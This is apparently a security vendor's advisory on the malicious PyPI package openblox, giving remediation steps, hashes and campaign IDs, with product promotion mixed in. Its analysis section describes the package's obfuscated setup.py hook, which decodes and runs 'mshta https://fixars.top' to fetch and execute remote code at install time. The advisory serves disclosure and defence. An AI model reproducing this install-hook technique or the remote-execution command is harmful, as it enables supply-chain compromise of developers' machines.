Which versions of openblox are malicious?

The following PyPI versions of openblox are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate openblox if I installed it?

Remove openblox from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed openblox — how do I know if it already compromised me?

If openblox was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is openblox part of a known attack campaign?

Yes — openblox is associated with the IN-MAL-2026-007591, IN-MAL-2026-007590 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find openblox across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for openblox (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging openblox across your stack and pipelines.

Malicious package

openbloxPyPI

Malicious code in openblox (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-6504

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall openblox

What this malware does

setup.py invokes GetGitCommitHash() unconditionally at module top level, so it runs on pip install openblox (and any setuptools invocation). On Windows the function builds its command via two helpers (GetDefaultSystemPolicy, CalculateNodeDrift) that reconstruct strings from integer arrays using chr(byte + 14); the arrays decode to mshta and https://fixars.top. The resulting command is passed to subprocess.check_output with shell=True, causing Windows installers to launch mshta https://fixars.top — the mshta.exe Living-Off-The-Land binary downloads and executes remote HTA/JScript, giving the operator arbitrary code execution on the installer's machine. The obfuscation (chr-arithmetic with helper functions falsely named for hardware/latency diagnostics) exists solely to hide the URL and binary name from static scanners. The package additionally exhibits a cover-story shape: it is published under the name openblox with a Roblox-themed description, but the actual code is an unrelated sqligen SQLite utility, with placeholder author metadata (John / [email protected] / github.com/john/sqligen). The Roblox-library name appears chosen to attract installs intended for the legitimate openblox API library.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

20f2506c62a484f986c8e40a2b7e977adb84415ede954d8c3488aa9d727bb25f

cdd874a78973f84b5373fc03a48472c338ca82ef0a258b7614f81a8359da1201

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for openblox (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging openblox across your stack and pipelines.
If you installed it — respond
Remove openblox from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If openblox was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks openblox before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. openblox on PyPI has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007591IN-MAL-2026-007590

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks openblox-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring